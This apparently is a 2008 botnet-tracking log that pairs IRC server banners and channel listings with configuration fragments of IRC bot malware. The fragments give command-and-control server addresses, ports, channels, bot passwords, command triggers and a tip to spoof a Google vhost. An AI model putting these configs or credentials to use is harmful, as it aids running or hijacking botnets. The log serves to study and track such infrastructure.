Current Global Users on MILDNet: 1343 Max: 2986

- irc.ardantus.org Message of the Day -
----------------------------------
my @adms=("klepek_klepek","wisnoee");
my @canais=("#ponticity");

91.121.86.73

Tue, 07 Oct 2008 16:12:53 +0000

"server"=>"91.121.86.73",
"port"=>"6666",
"pass"=>"",
"prefix"=>"ArEa51|",
"maxrand"=>"8",
"chan"=>"##ArEa51##",
"chan2"=>"##ArEa51##",
"key"=>"",
"modes"=>"+q",
"password"=>"D055",
"trigger"=>".",
"hostauth"=>"*" // * for any hostname (remember: /setvhost fk-in-f147.google.com)

irc.quakenet.org

Tue, 07 Oct 2008 14:22:39 +0000

server"=>"irc.quakenet.org",
"port"=>"6668",
"pass"=>"", //senha do server
"prefix"=>"^ViruS^",
"maxrand"=>"2",
"chan"=>"#snoxdko",
"key"=>"", //senha do canal
"modes"=>"+iwxGp",
"password"=>"id", //senha do bot
"trigger"=>".",
"hostauth"=>"FaceoF.users.quakenet.org" // * for any hostname

16:10 -!- #snoxdko FaceoF` H+x 3 ~FaceoF@FaceoF.users.quakenet.org [.::.]
16:10 -!- #snoxdko zzzzzZZZZzzz H+ 3 ~Iron@33.10.33.65.cfl.res.rr.com [Iron]
16:10 -!- #snoxdko ^Virus^ H@x 3 bot190@NBVirus.users.quakenet.org [Natasha service owned by: NordicBots]
16:10 -!- #snoxdko Q H*@d 3 TheQBot@CServe.quakenet.org [The Q Bot]
16:10 -!- End of /WHO list

208.98.32.147

Tue, 07 Oct 2008 13:02:30 +0000

There are 15092 users and 82088 invisible on 26 servers
58 operator(s) online

170 unknown connection(s)
27375 channels formed
I have 11064 clients and 1 servers

- Zagreb.HR.Eu.UnderNet.org Message of the Day -
--------------------------------------
server"=>"208.98.32.147",
"port"=>"8585",
"pass"=>"id",
"prefix"=>"Listen|",
"maxrand"=>"4",
"chan"=>"#senha",
"chan2"=>"#senha",
"key"=>"peganomeu",
"modes"=>"+p",
"password"=>"senha",
"trigger"=>".",
"hostauth"=>"*"